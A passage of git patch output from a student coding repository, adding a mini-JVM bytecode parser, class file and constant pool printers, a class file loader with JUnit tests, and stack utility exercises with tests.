+    public InvokeSpecialCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsMethod();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/InvokeVirtualCmd.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..5012d18559
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,24 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class InvokeVirtualCmd extends TwoOperandCmd {
+    public InvokeVirtualCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsMethod();
+    }
+
+    private boolean isSystemOutPrintlnMethod(String className, String methodName){
+        return "java/io/PrintStream".equals(className)
+                && "println".equals(methodName);
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/LdcCmd.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..8642973dbd
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/LdcCmd.java
@@ -0,0 +1,30 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+import main.coding_170423.jvm.constant.ConstantInfo;
+import main.coding_170423.jvm.constant.StringInfo;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class LdcCmd extends OneOperandCmd {
+    public LdcCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString() {
+
+        ConstantInfo info = getConstantInfo(this.getOperand());
+
+        String value = "TBD";
+        if(info instanceof StringInfo){
+            StringInfo strInfo = (StringInfo)info;
+            value = strInfo.toString();
+        }
+
+        return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/NewObjectCmd.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..39caa72387
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class NewObjectCmd extends TwoOperandCmd {
+    public NewObjectCmd(ClassFile clzFile, String opCode){
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsClassInfo();
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/NoOperandCmd.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..18c4df13c4
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,22 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class NoOperandCmd extends ByteCodeCommand {
+    public NoOperandCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    @Override
+    public String toString() {
+        return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+    }
+
+
+    public  int getLength(){
+        return 1;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/OneOperandCmd.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..c36211d19d
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class OneOperandCmd extends ByteCodeCommand {
+    private int operand;
+
+    public OneOperandCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+
+    }
+    public  int getOperand() {
+
+        return this.operand;
+    }
+
+    public void setOperand(int oprand1) {
+        this.operand = oprand1;
+
+    }
+    public  int getLength(){
+        return 2;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/PutFieldCmd.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..18b0a46be9
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class PutFieldCmd extends TwoOperandCmd {
+    public PutFieldCmd(ClassFile clzFile, String opCode) {
+        super(clzFile,opCode);
+    }
+
+    @Override
+    public String toString() {
+
+        return super.getOperandAsField();
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/TwoOperandCmd.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..60123a3f52
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,68 @@
+package main.coding_170423.jvm.cmd;
+
+import main.coding_170423.jvm.clz.ClassFile;
+import main.coding_170423.jvm.constant.ClassInfo;
+import main.coding_170423.jvm.constant.ConstantInfo;
+import main.coding_170423.jvm.constant.FieldRefInfo;
+import main.coding_170423.jvm.constant.MethodRefInfo;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class TwoOperandCmd extends ByteCodeCommand {
+    int oprand1 = -1;
+    int oprand2 = -1;
+
+    public int getOprand1() {
+        return oprand1;
+    }
+
+    public void setOprand1(int oprand1) {
+        this.oprand1 = oprand1;
+    }
+
+    public void setOprand2(int oprand2) {
+        this.oprand2 = oprand2;
+    }
+
+    public int getOprand2() {
+        return oprand2;
+    }
+
+    public TwoOperandCmd(ClassFile clzFile, String opCode) {
+        super(clzFile, opCode);
+    }
+
+    public int getIndex(){
+        int oprand1 = this.getOprand1();
+        int oprand2 = this.getOprand2();
+        int index = oprand1 << 8 | oprand2;
+        return index;
+    }
+
+    protected String getOperandAsClassInfo(){
+        int index = getIndex();
+        String codeTxt = getReadableCodeText();
+        ClassInfo info = (ClassInfo)getConstantInfo(index);
+        return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+    }
+
+    protected String getOperandAsMethod(){
+        int index = getIndex();
+        String codeTxt = getReadableCodeText();
+        ConstantInfo constInfo = this.getConstantInfo(index);
+        MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+        return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+    }
+
+    protected String getOperandAsField(){
+        int index = getIndex();
+
+        String codeTxt = getReadableCodeText();
+        FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+        return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+    }
+    public  int getLength(){
+        return 3;
+    }
+}

From 771c003d3b700759b83deaa1d04693a420232faf Mon Sep 17 00:00:00 2001
From: learnGithubChen <729245768@qq.com>
Date: Wed, 26 Apr 2017 19:25:02 +0800
Subject: [PATCH 129/262] =?UTF-8?q?=E6=89=93=E5=8D=B0=E5=B8=B8=E9=87=8F?=
 =?UTF-8?q?=E6=B1=A0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../jvm/print/ClassFilePrinter.java           | 33 +++++++++++++++++
 .../jvm/print/ConstantPoolPrinter.java        | 35 +++++++++++++++++++
 2 files changed, 68 insertions(+)
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/print/ClassFilePrinter.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170423/jvm/print/ConstantPoolPrinter.java

diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/print/ClassFilePrinter.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..f97b535d71
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,33 @@
+package main.coding_170423.jvm.print;
+
+import main.coding_170423.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class ClassFilePrinter {
+    ClassFile clzFile = null;
+    public ClassFilePrinter(ClassFile clzFile){
+        this.clzFile = clzFile;
+    }
+
+    public void print(){
+        if(clzFile.getAccessFlag().isPublicClass()){
+            System.out.println("Access flag : public  ");
+        }
+        System.out.println("Class Name:"+ clzFile.getClassName());
+
+        System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+
+        System.out.println("minor version:" + clzFile.getMinorVersion());
+
+        System.out.println("major version:" + clzFile.getMinorVersion());
+
+        ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+        cnstPoolPrinter.print();
+    }
+
+    public static void main(String[] args) {
+
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170423/jvm/print/ConstantPoolPrinter.java b/group11/729245768/DataStructure/src/main/coding_170423/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..fe8d5bb6e5
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170423/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,35 @@
+package main.coding_170423.jvm.print;
+
+import main.coding_170423.jvm.constant.*;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class ConstantPoolPrinter {
+    private ConstantPool pool;
+
+    public ConstantPoolPrinter(ConstantPool pool) {
+        this.pool = pool;
+    }
+
+    public void print() {
+        for (int i = 1; i < pool.getSizes(); i++) {
+            if (pool.getConstantInfo(i) instanceof ClassInfo) {
+                System.out.println("#"+i+" = Class        "+"#"+((ClassInfo) pool.getConstantInfo(i)).getUtf8Index());
+            } else if (pool.getConstantInfo(i) instanceof UTF8Info) {
+                System.out.println("#"+i+" = Utf8        "+"#"+((UTF8Info) pool.getConstantInfo(i)).getValue());
+            } else if (pool.getConstantInfo(i) instanceof StringInfo) {
+                System.out.println("#"+i+" = String        "+"#"+((StringInfo) pool.getConstantInfo(i)).getIndex());
+            } else if (pool.getConstantInfo(i) instanceof MethodRefInfo) {
+                System.out.println("#"+i+" = Methodref        "+"#"+((MethodRefInfo) pool.getConstantInfo(i)).getClassInfoIndex()+".#"+((MethodRefInfo) pool.getConstantInfo(i)).getNameAndTypeIndex());
+            } else if (pool.getConstantInfo(i) instanceof FieldRefInfo) {
+                System.out.println("#"+i+" = Fieldref        "+"#"+((FieldRefInfo) pool.getConstantInfo(i)).getClassInfoIndex()+".#"+((FieldRefInfo) pool.getConstantInfo(i)).getNameAndTypeIndex());
+            } else if (pool.getConstantInfo(i) instanceof NameAndTypeInfo) {
+                System.out.println("#"+i+" = NameAndType        "+"#"+((NameAndTypeInfo) pool.getConstantInfo(i)).getIndexA()+":#"+((NameAndTypeInfo) pool.getConstantInfo(i)).getIndexB());
+            } else {
+                throw new RuntimeException("the constant has not implemented");
+            }
+        }
+
+    }
+}

From 31d547da66afb0458704beb6b00b7111cb2dd4eb Mon Sep 17 00:00:00 2001
From: Jiandan1357 <s20160705@xs.ustb.edu.cn>
Date: Thu, 27 Apr 2017 10:35:45 +0800
Subject: [PATCH 130/262] 5week

homew
---
 group23/601689050/.gitattributes              |  17 +++
 .../4LRU&JVM/JVM/ClassFileLoader.java         |  63 ---------
 .../4LRU&JVM/JVM/ClassFileloaderTest.java     |  88 ------------
 .../JVM/loader/ClassFileLoader.java           |  65 +++++++++
 .../JVM/test/loader/ClassFileLoaderTest.java  |  86 +++++++++++
 .../JVM/test/loader}/EmployeeV1.java          |   2 +-
 .../LRU/Iterator.java                         |   0
 .../LRU/LRUPageFrame.java                     |   0
 .../LRU/LRUPageFrameTest.java                 |   0
 .../LRU/LinkedList.java                       |   0
 .../{4LRU&JVM => 4weekLRU&JVM}/LRU/List.java  |   0
 group23/601689050/5weekStack/stack/Stack.java |  70 +++++++++
 .../601689050/5weekStack/stack/StackUtil.java | 133 ++++++++++++++++++
 .../5weekStack/test/StackUtilTest.java        |  69 +++++++++
 14 files changed, 441 insertions(+), 152 deletions(-)
 create mode 100644 group23/601689050/.gitattributes
 delete mode 100644 group23/601689050/4LRU&JVM/JVM/ClassFileLoader.java
 delete mode 100644 group23/601689050/4LRU&JVM/JVM/ClassFileloaderTest.java
 create mode 100644 group23/601689050/4weekLRU&JVM/JVM/loader/ClassFileLoader.java
 create mode 100644 group23/601689050/4weekLRU&JVM/JVM/test/loader/ClassFileLoaderTest.java
 rename group23/601689050/{4LRU&JVM/JVM => 4weekLRU&JVM/JVM/test/loader}/EmployeeV1.java (96%)
 rename group23/601689050/{4LRU&JVM => 4weekLRU&JVM}/LRU/Iterator.java (100%)
 rename group23/601689050/{4LRU&JVM => 4weekLRU&JVM}/LRU/LRUPageFrame.java (100%)
 rename group23/601689050/{4LRU&JVM => 4weekLRU&JVM}/LRU/LRUPageFrameTest.java (100%)
 rename group23/601689050/{4LRU&JVM => 4weekLRU&JVM}/LRU/LinkedList.java (100%)
 rename group23/601689050/{4LRU&JVM => 4weekLRU&JVM}/LRU/List.java (100%)
 create mode 100644 group23/601689050/5weekStack/stack/Stack.java
 create mode 100644 group23/601689050/5weekStack/stack/StackUtil.java
 create mode 100644 group23/601689050/5weekStack/test/StackUtilTest.java

diff --git a/group23/601689050/.gitattributes b/group23/601689050/.gitattributes
new file mode 100644
index 0000000000..bdb0cabc87
--- /dev/null
+++ b/group23/601689050/.gitattributes
@@ -0,0 +1,17 @@
+# Auto detect text files and perform LF normalization
+* text=auto
+
+# Custom for Visual Studio
+*.cs     diff=csharp
+
+# Standard to msysgit
+*.doc	 diff=astextplain
+*.DOC	 diff=astextplain
+*.docx diff=astextplain
+*.DOCX diff=astextplain
+*.dot  diff=astextplain
+*.DOT  diff=astextplain
+*.pdf  diff=astextplain
+*.PDF	 diff=astextplain
+*.rtf	 diff=astextplain
+*.RTF	 diff=astextplain
diff --git a/group23/601689050/4LRU&JVM/JVM/ClassFileLoader.java b/group23/601689050/4LRU&JVM/JVM/ClassFileLoader.java
deleted file mode 100644
index 6a7ab61bc0..0000000000
--- a/group23/601689050/4LRU&JVM/JVM/ClassFileLoader.java
+++ /dev/null
@@ -1,63 +0,0 @@
-package com.loader;
-
-import java.io.*;
-import java.util.ArrayList;
-import java.util.Dictionary;
-import java.util.List;
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<>();
-	
-	public byte[] readBinaryCode(String className) throws ClassNotFoundException {
-
-		String fileName = className.replace('.',File.separatorChar)+".class";
-		InputStream is = null;
-		try{
-			is = new FileInputStream(fileName);
-			ByteArrayOutputStream baos = new ByteArrayOutputStream();
-			byte[] buffer = new byte[1024];
-			int length = 0;
-			while((length = is.read(buffer)) != -1){
-				baos.write(buffer,0,length);
-			}
-			return baos.toByteArray();
-		} catch (IOException e){
-			e.printStackTrace();
-		} finally {
-			if(is!=null){
-				try{
-					is.close();
-				} catch (IOException e){
-					e.printStackTrace();
-				}
-			}
-		}
-		return null;
-	}
-
-
-
-
-	public void addClassPath(String path) {
-
-		StringBuilder str = new StringBuilder(path);
-
-	}
-	
-	
-	
-	public String getClassPath(){
-
-		String path = Thread.currentThread().getContextClassLoader().getResource("/").getPath();
-
-		return path;
-	}
-
-	
-
-	
-
-}
diff --git a/group23/601689050/4LRU&JVM/JVM/ClassFileloaderTest.java b/group23/601689050/4LRU&JVM/JVM/ClassFileloaderTest.java
deleted file mode 100644
index eae77d6dd4..0000000000
--- a/group23/601689050/4LRU&JVM/JVM/ClassFileloaderTest.java
+++ /dev/null
@@ -1,88 +0,0 @@
-package com.test;
-
-import com.loader.ClassFileLoader;
-import org.junit.Assert;
-import org.junit.Test;
-import org.junit.Before;
-import org.junit.After;
-
-
-public class ClassFileloaderTest {
-
-
-	public static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	public static String path2 = "C:\\temp";
-	
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() throws ClassNotFoundException {
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length-1);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber() throws ClassNotFoundException {
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-    
-    
-    
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-}
diff --git a/group23/601689050/4weekLRU&JVM/JVM/loader/ClassFileLoader.java b/group23/601689050/4weekLRU&JVM/JVM/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..3c6244ff90
--- /dev/null
+++ b/group23/601689050/4weekLRU&JVM/JVM/loader/ClassFileLoader.java
@@ -0,0 +1,65 @@
+package loader;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+/**
+ * Created by Lxx on 2017/4/23.
+ */
+public class ClassFileLoader {
+    private List<String> clzPaths = new ArrayList<String>();
+
+    public byte[] readBinaryCode(String className) {
+
+        className = className.replace('.', File.separatorChar) +".class";
+
+        for(String path : this.clzPaths){
+
+            String clzFileName = path + File.separatorChar + className;
+            byte[] codes = loadClassFile(clzFileName);
+            if(codes != null){
+                return codes;
+            }
+        }
+
+        return null;
+
+
+
+    }
+
+    private byte[] loadClassFile(String clzFileName) {
+
+        File f = new File(clzFileName);
+
+        try {
+
+            return IOUtils.toByteArray(new FileInputStream(f));
+
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+
+
+    public void addClassPath(String path) {
+        if(this.clzPaths.contains(path)){
+            return;
+        }
+
+        this.clzPaths.add(path);
+
+    }
+
+
+
+    public String getClassPath(){
+        return StringUtils.join(this.clzPaths,";");
+    }
+
+
+}
diff --git a/group23/601689050/4weekLRU&JVM/JVM/test/loader/ClassFileLoaderTest.java b/group23/601689050/4weekLRU&JVM/JVM/test/loader/ClassFileLoaderTest.java
new file mode 100644
index 0000000000..8e4e172f25
--- /dev/null
+++ b/group23/601689050/4weekLRU&JVM/JVM/test/loader/ClassFileLoaderTest.java
@@ -0,0 +1,86 @@
+package test.loader;
+
+import loader.ClassFileLoader;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ClassFileLoaderTest {
+    static String path1 = "D:\\JavaProject\\4week_minijvm\\out\\production\\4week_minijvm";
+    static String path2 = "D:\\temp";
+
+
+
+    @Before
+public void before() throws Exception { 
+} 
+
+@After
+public void after() throws Exception { 
+} 
+
+/** 
+* 
+* Method: readBinaryCode(String className) 
+* 
+*/
+public void testClassPath(){
+
+    ClassFileLoader loader = new ClassFileLoader();
+    loader.addClassPath(path1);
+    loader.addClassPath(path2);
+
+    String clzPath = loader.getClassPath();
+
+    Assert.assertEquals(path1+";"+path2,clzPath);
+
+}
+
+    @Test
+    public void testClassFileLength() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+
+        String className = "test.loader.EmployeeV1";
+
+        byte[] byteCodes = loader.readBinaryCode(className);
+
+        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+        Assert.assertEquals(1056, byteCodes.length);
+
+    }
+
+
+    @Test
+    public void testMagicNumber(){
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "test.loader.EmployeeV1";
+        byte[] byteCodes = loader.readBinaryCode(className);
+        byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+
+
+        String acctualValue = this.byteToHexString(codes);
+
+        Assert.assertEquals("cafebabe", acctualValue);
+    }
+
+
+
+    private String byteToHexString(byte[] codes ){
+        StringBuffer buffer = new StringBuffer();
+        for(int i=0;i<codes.length;i++){
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if(strHex.length()< 2){
+                strHex = "0" + strHex;
+            }
+            buffer.append(strHex);
+        }
+        return buffer.toString();
+    }
+
+} 
diff --git a/group23/601689050/4LRU&JVM/JVM/EmployeeV1.java b/group23/601689050/4weekLRU&JVM/JVM/test/loader/EmployeeV1.java
similarity index 96%
rename from group23/601689050/4LRU&JVM/JVM/EmployeeV1.java
rename to group23/601689050/4weekLRU&JVM/JVM/test/loader/EmployeeV1.java
index 5785c48cc0..f1989f3131 100644
--- a/group23/601689050/4LRU&JVM/JVM/EmployeeV1.java
+++ b/group23/601689050/4weekLRU&JVM/JVM/test/loader/EmployeeV1.java
@@ -1,4 +1,4 @@
-package com.test;
+package test.loader;
 
 public class EmployeeV1 {
 	
diff --git a/group23/601689050/4LRU&JVM/LRU/Iterator.java b/group23/601689050/4weekLRU&JVM/LRU/Iterator.java
similarity index 100%
rename from group23/601689050/4LRU&JVM/LRU/Iterator.java
rename to group23/601689050/4weekLRU&JVM/LRU/Iterator.java
diff --git a/group23/601689050/4LRU&JVM/LRU/LRUPageFrame.java b/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrame.java
similarity index 100%
rename from group23/601689050/4LRU&JVM/LRU/LRUPageFrame.java
rename to group23/601689050/4weekLRU&JVM/LRU/LRUPageFrame.java
diff --git a/group23/601689050/4LRU&JVM/LRU/LRUPageFrameTest.java b/group23/601689050/4weekLRU&JVM/LRU/LRUPageFrameTest.java
similarity index 100%
rename from group23/601689050/4LRU&JVM/LRU/LRUPageFrameTest.java
rename to group23/601689050/4weekLRU&JVM/LRU/LRUPageFrameTest.java
diff --git a/group23/601689050/4LRU&JVM/LRU/LinkedList.java b/group23/601689050/4weekLRU&JVM/LRU/LinkedList.java
similarity index 100%
rename from group23/601689050/4LRU&JVM/LRU/LinkedList.java
rename to group23/601689050/4weekLRU&JVM/LRU/LinkedList.java
diff --git a/group23/601689050/4LRU&JVM/LRU/List.java b/group23/601689050/4weekLRU&JVM/LRU/List.java
similarity index 100%
rename from group23/601689050/4LRU&JVM/LRU/List.java
rename to group23/601689050/4weekLRU&JVM/LRU/List.java
diff --git a/group23/601689050/5weekStack/stack/Stack.java b/group23/601689050/5weekStack/stack/Stack.java
new file mode 100644
index 0000000000..7b394d9f30
--- /dev/null
+++ b/group23/601689050/5weekStack/stack/Stack.java
@@ -0,0 +1,70 @@
+package stack;
+
+import java.util.ArrayList;
+import java.util.EmptyStackException;
+
+/**
+ * Created by Lxx on 2017/4/23.
+ */
+public class Stack {
+
+    private ArrayList array;
+    private int count;
+
+
+    public Stack() {
+        array = new ArrayList();
+    }
+
+    public void push(Object o) {
+        count++;
+        array.add(o);
+
+    }
+
+    public Object pop() {
+        count--;
+        Object o = array.get(count);
+       array.remove(count);
+
+        return o;
+    }
+
+    public Object peek() {
+
+        if(count == 0){
+            throw new EmptyStackException();
+        }
+        return array.get(array.size()-1);
+    }
+
+    public boolean isEmpty() {
+        return array.size() == 0;
+    }
+
+    public int size() {
+
+        return count;
+    }
+
+    public String toString(){
+
+        StringBuilder string = new StringBuilder();
+        Stack s = new Stack();
+        int size = this.size();
+        for(int i = 0; i < size; i++){
+            string.append(this.peek().toString());
+            if(i < size-1 )
+                string.append(",");
+            s.push(this.pop());
+        }
+
+        while(!s.isEmpty()){
+            this.push(s.pop());
+        }
+
+        return string.toString();
+    }
+
+
+}
diff --git a/group23/601689050/5weekStack/stack/StackUtil.java b/group23/601689050/5weekStack/stack/StackUtil.java
new file mode 100644
index 0000000000..00920cdb08
--- /dev/null
+++ b/group23/601689050/5weekStack/stack/StackUtil.java
@@ -0,0 +1,133 @@
+package stack;
+
+/**
+ * Created by Lxx on 2017/4/23.
+ */
+public class StackUtil {
+
+
+    /**
+     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     */
+    public static void reverse(Stack s) {
+        if(s == null || s.isEmpty()){
+            return;
+        }
+
+        Stack tmp = new Stack();
+        while(!s.isEmpty()){
+            tmp.push(s.pop());
+        }
+        while(!tmp.isEmpty()){
+            Integer top = (Integer) tmp.pop();
+            addToBottom(s,top);
+        }
+
+
+    }
+    public static void addToBottom(Stack s,  Integer value){
+        if(s.isEmpty()){
+            s.push(value);
+        } else{
+            Integer top = (Integer) s.pop();
+            addToBottom(s,value);
+            s.push(top);
+        }
+
+    }
+
+    /**
+     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param o
+     */
+    public static void remove(Stack s, Object o) {
+
+        if(s == null || s.isEmpty()){
+            return;
+        }
+        Stack tmpStack = new Stack();
+        Stack s1 = new Stack();
+        while(!s.isEmpty()){
+            Object value = s.pop();
+            if(!value.equals(o)){
+                tmpStack.push(value);
+            }
+        }
+
+        while(!tmpStack.isEmpty()){
+            s1.push(tmpStack.pop());
+        }
+        while(!s1.isEmpty()){
+            s.push(s1.pop());
+        }
+
+     }
+
+     /**
+     * 从栈顶取得len个元素, 原来的栈中元素保持不变
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param len
+     * @return
+     */
+    public static Object[] getTop(Stack s, int len) {
+
+        if(s == null || s.isEmpty() || s.size() < len || len <= 0){
+            return null;
+        }
+        Stack tmpStack = new Stack();
+        int i = 0;
+        Object[] topElement = new Object[len];
+        while(!s.isEmpty()){
+            Object top = s.pop();
+            tmpStack.push(top);
+            topElement[i++] = top;
+            if(i == len){
+                break;
+            }
+        }
+        while (!tmpStack.isEmpty()){
+            s.push(tmpStack.pop());
+        }
+        return topElement;
+    }
+
+
+    /**
+     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+     * 使用堆栈检查字符串s中的括号是不是成对出现的。
+     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+     *
+     * @param s
+     * @return
+     */
+    public static boolean isValidPairs(String s) {
+
+        Stack tmpStack = new Stack();
+        for (int i = 0; i < s.length(); i++) {
+            char tmpChar = s.charAt(i);
+            if (tmpChar == '(' || tmpChar == '{' || tmpChar == '[') {
+                tmpStack.push(tmpChar);
+            } else if (tmpChar == ')') {
+                char compareChar = (char) tmpStack.pop();
+                if (compareChar != '(') {
+                    return false;
+                }
+            } else if (tmpChar == ']') {
+                char compareChar = (char) tmpStack.pop();
+                if (compareChar != '[') {
+                    return false;
+                }
+            } else if (tmpChar == '}') {
+                char compareChar = (char) tmpStack.pop();
+                if (compareChar != '{') {
+                    return false;
+                }
+            }
+        }
+        return tmpStack.size() == 0;
+    }
+}
diff --git a/group23/601689050/5weekStack/test/StackUtilTest.java b/group23/601689050/5weekStack/test/StackUtilTest.java
new file mode 100644
index 0000000000..413d9f3c4e
--- /dev/null
+++ b/group23/601689050/5weekStack/test/StackUtilTest.java
@@ -0,0 +1,69 @@
+package test;
+import stack.*;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import stack.StackUtil;
+
+/**
+ * Created by Lxx on 2017/4/23.
+ */
+public class StackUtilTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+
+    @Test
+    public void testReverse() {
+        Stack s = new Stack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        s.push(4);
+        s.push(5);
+        Assert.assertEquals("5,4,3,2,1", s.toString());
+        StackUtil.reverse(s);
+        Assert.assertEquals("1,2,3,4,5", s.toString());
+    }
+
+    @Test
+    public void testRemove() {
+        Stack s = new Stack();
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        StackUtil.remove(s, 2);
